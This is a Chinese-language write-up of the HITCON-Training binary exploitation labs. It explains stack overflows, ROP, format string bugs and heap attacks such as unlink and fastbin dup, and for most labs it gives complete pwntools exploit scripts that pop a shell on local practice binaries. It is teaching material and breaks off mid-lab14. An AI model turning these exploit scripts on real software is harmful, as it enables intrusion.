HITCON-training writeup

关于这些题,我只某次偶然在某HITCON大佬的github上发现的,下面是链接。

https://github.com/scwuaptx/HITCON-Training

已完结。

Outline

  • Basic Knowledge

    • Introduction
      • Reverse Engineering
        • Static Analysis
        • Dynamic Analysis
      • Exploitation
      • Useful Tool
        • IDA PRO
        • GDB
        • Pwntool
      • lab 1 - sysmagic
    • Section
    • Compile,linking,assmbler
    • Execution
      • how program get run
      • Segment
    • x86 assembly
      • Calling convention
      • lab 2 - open/read/write
      • shellcoding
  • Stack Overflow

    • Buffer Overflow
    • Return to Text/Shellcode
      • lab 3 - ret2shellcode
    • Protection
      • ASLR/DEP/PIE/StackGuard
    • Lazy binding
    • Return to Library
      • lab 4 - ret2lib
  • Return Oriented Programming

    • ROP
      • lab 5 - simple rop
    • Using ROP bypass ASLR
      • ret2plt
    • Stack migration
      • lab 6 - migration
  • Format String Attack

    • Format String
    • Read from arbitrary memory
      • lab 7 - crack
    • Write to arbitrary memory
      • lab 8 - craxme
    • Advanced Trick
      • EBP chain
      • lab 9 - playfmt
  • x64 Binary Exploitation

    • x64 assembly
    • ROP
    • Format string Attack
  • Heap exploitation

    • Glibc memory allocator overview
    • Vulnerablility on heap
      • Use after free
        • lab 10 - hacknote
      • Heap overflow
        • house of force
          • lab 11 - 1 - bamboobox1
        • unlink
          • lab 11 - 2 - bamboobox2
  • Advanced heap exploitation

    • Fastbin attack
      • lab 12 - babysecretgarden
    • Shrink the chunk
    • Extend the chunk
      • lab 13 - heapcreator
    • Unsortbin attack
      • lab 14 - magicheap
  • C++ Exploitation

    • Name Mangling
    • Vtable fucntion table
    • Vector & String
    • New & delete
    • Copy constructor & assignment operator
      • lab 15 - zoo

反正慢慢来吧。

lab1

一开始以为是pwn,最后用逆向的方法得到flag以后才知道这题本来就不打算当你用pwn的方法做的2333。就是想让你用用gdb,ida什么的。

纯逆向

这就没什么好说的了,简单的异或而已。

用IDA的patch

首先我建议你到网上去搜一下一个叫keypatch的IDA插件,虽然并不是一定要用到。

根据逻辑,patch这句:

有keypatch的直接ctrl+alt+k唤出patch窗口,改成nop。

保存


然后随便跑一遍就出flag了。

用gdb动态调试做

大致方法:

先运行sysmagic,不要输入数字;
新开一个窗口,ps -aux |grep sysmagic,得到pid = xxxx;
然后gdb attach xxxx(可能需要sudo);
b*0x08048720对0x08048720下断点;
输出数字,gdb断下;
输入set $eip = 08048724,直接跳过jne;
c继续执行,看到有flag弹出。

大致如图(我当时用了socat,其实第一步直接运行就好了):

lab2

保护:

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[*] '/home/veritas/pwn/HITCON-Training/LAB/lab2/orw.bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

代码倒是简单,

直接让你输入shellcode然后程序就去执行你的shellcode,但正如这道题的名字orw,获取flag的方法是用open,read,write三个syscall来完成的。

但为什么不能用拿shell的方式做?orw_seccomp()中的代码是这样的。

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PRCTL(2)                   Linux Programmer's Manual                  PRCTL(2)

NAME
prctl - operations on a process

SYNOPSIS
#include <sys/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);

DESCRIPTION
prctl() is called with a first argument describing what to do (with
values defined in <linux/prctl.h>), and further arguments with a sig‐
nificance depending on the first one. The first argument can be:`
。。。。。

他是一个控制进程的函数,根据说明with values defined in <linux/prctl.h>,我们cat /usr/include/linux/ptctl.h

38的含义是:

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/*
* If no_new_privs is set, then operations that grant new privileges (i.e.
* execve) will either fail or not grant them. This affects suid/sgid,
* file capabilities, and LSMs.
*
* Operations that merely manipulate or drop existing privileges (setresuid,
* capset, etc.) will still work. Drop those privileges if you want them gone.
*
* Changing LSM security domain is considered a new privilege. So, for example,
* asking selinux for a specific new context (e.g. with runcon) will result
* in execve returning -EPERM.
*
* See Documentation/prctl/no_new_privs.txt for more details.
*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39

#define PR_GET_TID_ADDRESS 40

#define PR_SET_THP_DISABLE 41
#define PR_GET_THP_DISABLE 42

22的含义是:

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/* Get/set process seccomp mode */
#define PR_GET_SECCOMP 21
#define PR_SET_SECCOMP 22
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PR_SET_SECCOMP (since Linux 2.6.23)
Set the secure computing (seccomp) mode for the calling
thread, to limit the available system calls. The more recent
seccomp(2) system call provides a superset of the
functionality of PR_SET_SECCOMP.

The seccomp mode is selected via arg2. (The seccomp constants
are defined in <linux/seccomp.h>.)

With arg2 set to SECCOMP_MODE_STRICT, the only system calls
that the thread is permitted to make are read(2), write(2),
_exit(2) (but not exit_group(2)), and sigreturn(2). Other
system calls result in the delivery of a SIGKILL signal.
Strict secure computing mode is useful for number-crunching
applications that may need to execute untrusted byte code,
perhaps obtained by reading from a pipe or socket. This
operation is available only if the kernel is configured with
CONFIG_SECCOMP enabled.

With arg2 set to SECCOMP_MODE_FILTER (since Linux 3.5), the
system calls allowed are defined by a pointer to a Berkeley
Packet Filter passed in arg3. This argument is a pointer to
struct sock_fprog; it can be designed to filter arbitrary
system calls and system call arguments. This mode is
available only if the kernel is configured with
CONFIG_SECCOMP_FILTER enabled.

If SECCOMP_MODE_FILTER filters permit fork(2), then the
seccomp mode is inherited by children created by fork(2); if
execve(2) is permitted, then the seccomp mode is preserved
across execve(2). If the filters permit prctl() calls, then
additional filters can be added; they are run in order until
the first non-allow result is seen.

For further information, see the kernel source file
Documentation/prctl/seccomp_filter.txt.

也就是说,22号限制了我们syscall的调用,具体限制了那些,怎么限制,由于水平不够,就没有再深入理解了。

使用open,read,write这三个syscall来cat flag,就是在练习shellcode的编写。

poc如下:

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from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
bin = ELF('orw.bin')
cn = process('./orw.bin')

cn.recv()

shellcode='''
push 1;
dec byte ptr [esp];
push 0x67616c66;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0x5;
int 0x80;

mov ebx,eax;
xor eax,eax;
mov al,0x3;
mov ecx,esp;
mov dl,0x30;
int 0x80;

mov al,0x4;
mov bl,1;
mov dl,0x30;
int 0x80;
'''
'''
fp = open("flag",0)
read(fp,buf,0x30)
write(1,buf,0x30)
'''

#gdb.attach(cn)
#raw_input()
cn.sendline(asm(shellcode))
cn.interactive()

lab3

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[*] '/home/veritas/pwn/HITCON-Training/LAB/lab3/ret2sc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

简单的ret2sc,不想多说,但有一点要注意,

这里他是用esp寄存器而不是ebp寄存器,所以计算padding的时候要用

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from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
bin = ELF('ret2sc')

cn = process('./ret2sc')

cn.recv()
cn.sendline(asm(shellcraft.linux.sh()))

cn.recv()

cn.sendline('a'*0x1c+'bbbb'+p32(0x0804A060))

cn.interactive()

lab4

非常基础的ret2libc,不多解释了

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from pwn import *
import struct
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

bin = ELF('ret2lib')
libc = ELF('libc.so')

cn = process('./ret2lib')

cn.recv()
cn.sendline(str(bin.got['read']))
cn.recvuntil('0x')
p_read = int(cn.readuntil('\n'),16)
p_system = p_read - libc.symbols['read'] + libc.symbols['system']
pbinsh = p_read - libc.symbols['read'] + libc.search('/bin/sh').next()
cn.recvuntil('for me :')
pay = 'a'*0x38 + 'bbbb'
pay += p32(p_system) + 'bbbb' + p32(pbinsh)
cn.sendline(pay)
cn.interactive()

lab5

simple rop,也不多解释了

两种版本:

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from pwn import *
from struct import pack
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
bin = ELF('simplerop')

cn = process('./simplerop')

cn.recv()

p_read = 0x0806CD50
p_eax_ret = 0x080bae06
p_edx_ecx_ebx_ret = 0x0806e850
int_80 = 0x80493e1
# Padding goes here
p = ''
p += 'a'*0x1c + 'bbbb'
p += p32(p_read) + p32(p_edx_ecx_ebx_ret) + p32(0) + p32(bin.bss()) + p32(0x10)
p += p32(p_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin.bss())
p += p32(p_eax_ret) + p32(0xb)
p += p32(int_80)
print hex(len(p))

cn.sendline(p)
cn.sendline('/bin/sh\0')
cn.interactive()
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "10.211.55.28"
port = 8888

r = process('./simplerop')

gadget = 0x809a15d # mov dword ptr [edx], eax ; ret
pop_eax_ret = 0x80bae06
pop_edx_ret = 0x806e82a
pop_edx_ecx_ebx = 0x0806e850
pop_eax_ret = 0x080bae06
buf = 0x80ea060
int_80 = 0x80493e1

#write to memory
payload = "a"*32
payload += p32(pop_edx_ret)
payload += p32(buf)
payload += p32(pop_eax_ret)
payload += "/bin"
payload += p32(gadget)
payload += p32(pop_edx_ret)
payload += p32(buf+4)
payload += p32(pop_eax_ret)
payload += "/sh\x00"
payload += p32(gadget)

#write to register
payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(buf)
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(int_80)

print len(payload)
r.recvuntil(":")
r.sendline(payload)

r.interactive()

lab6

栈迁移的技巧,这个栈迁移还是比较松的,不过他做了一点限制,main函数不能回来用第二次。

栈迁移的理解建议借助纸笔画图来辅助理解,另外就是leave的含义是mov sp,bp; pop bp。一定要清楚。

栈迁移是再写入空间不够的时候,通过leave_ret这类收尾的代码来把ebp和esp改到某个地址固定的位置,通过控制ret的地址和ebp指针向我们指定的位置写值,通常是一段不完整的rop代码,通过不断迁移把rop代码一段一段的写完,最后通过leave_ret到rop代码上面4字节(x86)来实现rop的调用。

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from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

bin = ELF('migration')
libc = ELF('libc.so')

buf = bin.bss() + 0x700
buf2 = bin.bss() + 0x600
p3ret = 0x08048569
p1ret = 0x0804836d
leave_ret = 0x08048418

cn = process('./migration')

cn.recv()

pay = 'a'*0x28 + p32(buf)
pay += p32(bin.plt['read']) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

cn.send(pay)

pay = p32(buf2)
pay += p32(bin.plt['puts']) + p32(p1ret) + p32(bin.got['puts'])
pay += p32(bin.plt['read']) + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)

cn.send(pay)

puts = u32(cn.recv()[:4])
system = puts - libc.symbols['puts'] + libc.symbols['system']

pay = p32(buf)
pay += p32(bin.plt['read']) + p32(p3ret) + p32(0) + p32(buf) + p32(0x100)
pay += p32(system) + 'bbbb' + p32(buf)

cn.send(pay)

cn.send('/bin/sh\0')
cn.interactive()

lab7

考察利用格式化字符串漏洞得到任意地址写或任意地址读。

任意地址写:通过printf把password改成其他已知值,然后发送已知的password即拿flag。

exp:

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from pwn import *
context.log_level = 'debug'

cn = process('./crack')

p_pwd = 0x0804A048
fmt_len = 10

cn.recv()

pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)

cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()

任意地址读:直接读出password的值,然后发送。

exp:

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import struct
context.log_level = 'debug'
r = process('./crack')

password_addr = 0x804a048
r.recvuntil("?")


r.sendline(p32(password_addr) + "#" + "%10$s" + "#" )
r.recvuntil("#")
p = r.recvuntil("#")
password = struct.unpack('i',p[:4])[0]
r.recvuntil(":")
r.sendline(str(password))
r.recv()
r.recv()

lab8

这道也是考察格式化字符串的任意地址写,就不多说了

方法一,直接覆盖magic:
exp:

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from pwn import *
context.log_level = 'debug'

p_magic = 0x0804A038
fmt_len = 7

cn = process('./craxme')

cn.recv()
pay = fmtstr_payload(fmt_len,{p_magic:0xfaceb00c})
cn.sendline(pay)
cn.recvuntil('}')


cn = process('./craxme')

cn.recv()
pay = fmtstr_payload(fmt_len,{p_magic:0xda})
cn.sendline(pay)
cn.recvuntil('}')

方法二,篡改GOT表:
把puts改到main中read的上面,printf改成system的plt表地址。
这样就可以拿到shell了。
exp:

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#coding=utf8
from pwn import *
context.log_level = 'debug'

fmt_len = 7

cn = process('./craxme')
bin = ELF('./craxme')

cn.recv()
pay = fmtstr_payload(fmt_len,{bin.got['puts']:0x0804858B,bin.got['printf']:bin.plt['system']})
cn.sendline(pay)
cn.recv()

cn.interactive()

lab9

这题和前几题相比还是有点难度的,难度是由与他read进来的数据不放在栈上,而是放在bss段上,之前用格式化字符串的%x,%s,%n之类的都是指栈上向后数第n个变量。

原本我们输入的数据在栈上,所以栈上的部分数据是我们控制的,%x,%s,%n就是我们所控制的值。

但现在在bss段上,栈上没有我们输入的数据就不能通过上面的那种方法了。

通过栈上指向栈另一处的指针,比如保存的ebp。通过%n和保存的ebp,我们就能想保存的ebp所指向的地址(栈上的另一处,前ebp)处写任意值,这样我们在栈上就有了一个任意构造的指针,通过这个任意指针我们就可以任意地址读和任意地址写。

看一下在即将printf时的栈布局:

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pwndbg> stack 30
00:0000│ esp 0xffffd2f0 —▸ 0x804a060 (buf) ◂— 0xa /* '\n' */
01:0004│ 0xffffd2f4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd2f8 ◂— 0x4
03:000c│ 0xffffd2fc —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd300 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd304 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
06:0018│ ebp 0xffffd308 —▸ 0xffffd318 —▸ 0xffffd328 ◂— 0x0
07:001c│ 0xffffd30c —▸ 0x8048584 (play+59) ◂— nop
08:0020│ 0xffffd310 —▸ 0xf7fb3d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd314 ◂— 0x0
0a:0028│ 0xffffd318 —▸ 0xffffd328 ◂— 0x0
0b:002c│ 0xffffd31c —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│ 0xffffd320 —▸ 0xf7fb33dc (__exit_funcs) —▸ 0xf7fb41e0 (initial) ◂— 0x0
0d:0034│ 0xffffd324 —▸ 0xffffd340 ◂— 0x1
0e:0038│ 0xffffd328 ◂— 0x0
0f:003c│ 0xffffd32c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
10:0040│ 0xffffd330 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
12:0048│ 0xffffd338 ◂— 0x0
13:004c│ 0xffffd33c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
14:0050│ 0xffffd340 ◂— 0x1
15:0054│ 0xffffd344 —▸ 0xffffd3d4 —▸ 0xffffd5ea ◂— 0x6d6f682f ('/hom')
16:0058│ 0xffffd348 —▸ 0xffffd3dc —▸ 0xffffd61d ◂— 0x54554c43 ('CLUT')
17:005c│ 0xffffd34c ◂— 0x0
... ↓
1a:0068│ 0xffffd358 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
1b:006c│ 0xffffd35c —▸ 0xf7ffdc04 ◂— 0x0
1c:0070│ 0xffffd360 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
1d:0074│ 0xffffd364 ◂— 0x0

其中我们用到了下面四行

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06:0018│ ebp  0xffffd308 —▸ 0xffffd318 —▸ 0xffffd328 ◂— 0x0
07:001c│ 0xffffd30c —▸ 0x8048584 (play+59) ◂— nop
...
0a:0028│ 0xffffd318 —▸ 0xffffd328 ◂— 0x0
0b:002c│ 0xffffd31c —▸ 0x80485b1 (main+42) ◂— nop

分别是p_ebp1,p_7,p_ebp2,p_11。

大致流程:
通过p_ebp1改p_ebp2的值为p_7的地址;
通过p_ebp2改p_7的值为printf在got表的地址;

通过p_ebp1改p_ebp2的值为p_11的地址;
通过p_ebp2改p_11的值为printf在got表的地址+2;

通过p_7 leak出printf的libc地址;
算出system地址;

通过p_7和p_11两字节两字节的把printf改成system;

发送/bin/sh拿shell。

exp:

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#coding = utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

p_printf = 0x0804A010


libc = ELF('libc.so')
cn = process('./playfmt')

cn.recv()

pay = '%6$x'
cn.sendline(pay)#

p_ebp2 = int(cn.recv(),16)#10
p_7 = p_ebp2-0xc#7
p_11 = p_ebp2+4#11
p_ebp1 = p_ebp2-0x10#6

pay = "%"+str(p_7&0xffff)+"c%6$hn\x00"
cn.sendline(pay)#set p_ebp2->p_7
cn.recv()

pay = "%"+str(p_printf&0xffff)+"c%10$hn\x00"
cn.sendline(pay)#set p_7->p_printf
cn.recv()

while 1:
cn.send("here\x00")
sleep(0.3)
data = cn.recv()
if data.find("here") != -1:
break

pay = "%"+str(p_11&0xffff)+"c%6$hn\x00"
cn.sendline(pay)#set p_ebp2->p_11
cn.recv()

pay = "%"+str((p_printf+2)&0xffff)+"c%10$hn\x00"
cn.sendline(pay)#set p_11->p_printf+2
cn.recv()

cn.sendline('here\x00')

while 1:
cn.send("here\x00")
sleep(0.3)
data = cn.recv()
if data.find("here") != -1:
break

pay = "aaaa%7$s\x00"
cn.sendline(pay)
cn.recvuntil('aaaa')
printf = u32(cn.recv()[:4])
print hex(printf)#leak printf

system = printf-libc.symbols['printf']+libc.symbols['system']
print hex(system)

pay = "%"+str(system&0xffff)+"c%7$hn"
pay += "%"+str((system>>16) - (system&0xffff))+"c%11$hn\x00"
cn.sendline(pay)#hijack printf->system
cn.recv()

while 1:
cn.send("here\x00")
sleep(0.3)
data = cn.recv()
if data.find("here") != -1:
break

cn.sendline('/bin/sh\x00')
cn.interactive()

ps.通过修改保存的ebp的值,经过两次return之后,esp应该会被修改成我们所改的值,若在bss上写入rop代码,然后控制esp到bss,应该也是可以拿到shell的。

lab10

UAF的题目的利用方法是F,A,U(先FREE,再修改chunk,调用chunk中的函数指针)。让两个指针实际指向同一个chunk,一个指针把内存解释为字符串,从而写入任意值,另一个指针把内存解释为函数指针。从而控制了EIP。

这题首先是为了题目需要,在struct中存了一个函数指针。

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struct note {
void (*printnote)();
char *content ;
};

还喜闻乐见的有malloc任意size的代码:

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void add_note(){
...
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
...
}

连system都给了2333

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void magic(){
system("/bin/sh");
}

那没啥话说,想办法让我们的content建立在之前的note chunk上就行了。

exp:

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#coding=utf8
from pwn import *
context.log_level = 'debug'

cn = process('./hacknote')
bin = ELF('./hacknote')

def add_note(size,content):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.sendline(content)

def del_note(index):
cn.recvuntil(":")
cn.sendline("2")
cn.recvuntil(":")
cn.sendline(str(index))

def print_note(index):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(index))

add_note(24,'aaa')
add_note(24,'bbb')
add_note(24,'ccc')
#content的大小不等于16(note的大小),是为了等会分配16bytes的content不会被分配到之前的content的bin上,而是分配到note的bin上

del_note(0)
del_note(1)

add_note(8,p32(bin.symbols['magic']))

print_note(0)
cn.interactive()

lab11-1

这题考察house of force的利用,house of force的细节这里就不说了。

一般步骤:
1.把topchunk的size改大(一般改为-1,即32位下的0xffffffff,64位下的0xffffffffffffffff)以便能把chunk建在内存的任意一个地点。
2.建立一个evil_size大小的chunk,使建完这个chunk后av->top会指向我们想要的target-0x8/0x10(chunk_header_size)
3.再次建立chunk,会建在之前av->top所指的地方,就是我们的target了。

这题程序一开建了一个含有程序指针的chunk,并且程序结束会调用这个chunk中的程序指针。

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struct box{
void (*hello_message)();
void (*goodbye_message)();
};

...
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message ;
...

...
case 5:
bamboo->goodbye_message();
exit(0);
break;
...

我们的目的就是把它改写成我们的magic函数。

exp:

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

r = process('./bamboobox')

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

magic = 0x400d49
additem(0x100,"ddaa")
modify(0,0x110,"a"*0x100 + p64(0) + p64(0xffffffffffffffff))
additem(-(0x10+0x10)-(0x10+0x100)-(0x10),"dada")#evil_size
additem(0x20,p64(magic)*2)#change ptr here!!
r.sendline('5')
r.interactive()

lab11-2

这题考察unlink的用法。

unlink的具体原理这边就不说了。

主要是通过unlink把chunk0改到chunklist的附近(原指向chunk0的指针现在指向了chunklist附近),从而向chunk0写内容能把chunk1改到任意的位置,print chunk1就变成了任意地址读,write chunk1就变成了任意地址写。

exp_cat_flag_using_magic:

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from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./bamboobox')
bin = ELF('./bamboobox')

itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8

def add_item(length,name):
cn.sendline('2')
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('the name of item:')
cn.sendline(name)

def change_item(index,length,name):
cn.sendline('3')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('new name of the item:')
cn.sendline(name)

def remove_item(index):
cn.sendline('4')
cn.recvuntil('the index of item:')
cn.sendline(str(index))

def show_item():
cn.sendline('1')
data = cn.recvuntil('-')
return data

add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'

change_item(0,len(pay),pay)

remove_item(1)

pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['puts'])
change_item(0,len(pay2),pay2)

change_item(1,16,p64(bin.symbols['magic']))
flag = cn.recv()

log.success("the flag is : "+flag)

exp_get_shell:

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from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./bamboobox')
bin = ELF('./bamboobox')

itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8

def add_item(length,name):
cn.sendline('2')
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('the name of item:')
cn.sendline(name)

def change_item(index,length,name):
cn.sendline('3')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('new name of the item:')
cn.sendline(name)

def remove_item(index):
cn.sendline('4')
cn.recvuntil('the index of item:')
cn.sendline(str(index))

def show_item():
cn.sendline('1')
cn.recvuntil('0 :')
data = cn.recvuntil('-')
return data[:-len('-')]

def leak(addr):
pay = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(addr)
change_item(0,len(pay),pay)
cn.sendline('1')
cn.recvuntil('1 : ')
data = cn.recvuntil('2 : ')[:-4]
log.info(hex(addr) + '->' + (data+'\x00').encode('hex'))
return (data+'\x00')



add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'

change_item(0,len(pay),pay)

remove_item(1)

pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0)+ p64(bin.got['atoi'])
change_item(0,len(pay2),pay2)
context.log_level = 'info'
d = DynELF(leak,elf = bin)
system = d.lookup('system','libc')
log.success("find system = " + hex(system))
context.log_level = 'debug'
pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['atoi'])
change_item(0,len(pay2),pay2)

change_item(1,16,p64(system))
cn.sendline('$0')

cn.interactive()

lab12

这题考察 fastbin attack,严格来说是fastbin dup。就是fastbin的double free(个人理解)

由于fastbin在free时只有这样一条检验是否double free

所以,只要不要连续两次释放同一块内存就行,比如free(p1);free(p2);free(p1);就不会触发double free。

然后连续两次malloc取走p1,p2,此时p1已经被取走,但由于之前double free同时也还留在fastbin list中,就可以对p1中的fd进行修改使fastbin list中的p1出现fd中的bin。

但这个fakebin的size必须和当前的idx满足一定关系(idx+[0,7]),否则是malloc不出来的。

而这个fastbin_index是这样定义的

实际上是一个unsigned int,也就是说在x64上(假设此时idx为0x20),我们的size的高位不是全要为零,而是0x????????00000020 + [0,7],高4字节是可以任意的。比如0xffffffff00000023就是可以的。

我们的目的是修改got表到magic函数,所以通过fastbin_dup我们把chunk建在got表前面某个恰当的位置。比如0x601ffa,因为此时的size很恰当。

exp:

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

r = process('./secretgarden')

def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)

def visit():
r.recvuntil(":")
r.sendline("2")

def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil(":")
r.sendline("4")


magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")#0
raiseflower(0x50,"da","red")#1
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")

raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")#malloc in fake_chunk

r.interactive()

lab13

考察Extend the chunk。

这题用到了一个trick。

源代码中edit_heap函数中有这么一段:

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if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);//size +1 overflow
puts("Done !");
}else{
puts("No such heap !");
}

有溢出,但只溢出了1字节,要Extend the chunk就要改chunk的size,但一般来说1字节到不了size,前面还有prev_size。

考虑64位,如果malloc的size没有16字节对齐,比如malloc(0x18),系统实际malloc了0x20字节给程序,不够的8字节由后面一个chunk的prev_size提供(共用)。这也很合理,当这个chunk在使用时,prev_size肯定为0,是没用的;当prev_size有用时,这个chunk已经被free了,里面的内容已经无用了。

使用这个trick加一字节的溢出,我们刚好可以修改size。

通过Extend the chunk是一块chunk被包入另一个chunk内,free这两个chunk,在重新malloc,就会实现同一块内存的重复使用,进而变成构造任意指针,从而任意地址读写。

exp(改atoi到system):

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./heapcreator')
bin = ELF('./heapcreator')
libc = ELF('./libc.so')

def create(size,content):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.sendline(content)

def edit(idx,content):
cn.recvuntil(":")
cn.sendline("2")
cn.recvuntil(":")
cn.sendline(str(idx))
cn.recvuntil(":")
cn.sendline(content)

def show(idx):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(idx))

def delete(idx):
cn.recvuntil(":")
cn.sendline("4")
cn.recvuntil(":")
cn.sendline(str(idx))

create(0x18,"0000") # 0
create(0x10,"1111") # 1

edit(0, "a"*0x18 + "\x41")

delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(bin.got['atoi'])) #1
show(1)
cn.recvuntil("Content : ")
data = cn.recvuntil("Done !")

atoi_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
base = atoi_addr - libc.symbols['atoi']
print "base:",hex(base)
system = base + libc.symbols['system']
edit(1,p64(system))
cn.sendline('$0')
cn.interactive()

exp(改free到system):

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
r = process('./heapcreator')
libc = ELF('./libc.so')

def create(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def edit(idx,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)

def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

free_got = 0x602018
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1

edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")

delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
base = free_addr - libc.symbols['free']
print "base:",hex(base)
system = base + libc.symbols['system']
edit(1,p64(system))
delete(0)
r.interactive()

lab14

这题考察对unsorted bin attack的了解。

unsorted bin attack是利用了free到unsorted bin list中的chunk在被malloc取出来的时候,没有使用unlink宏,而是自己实现的几行代码。

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bck = victim->bk;
...
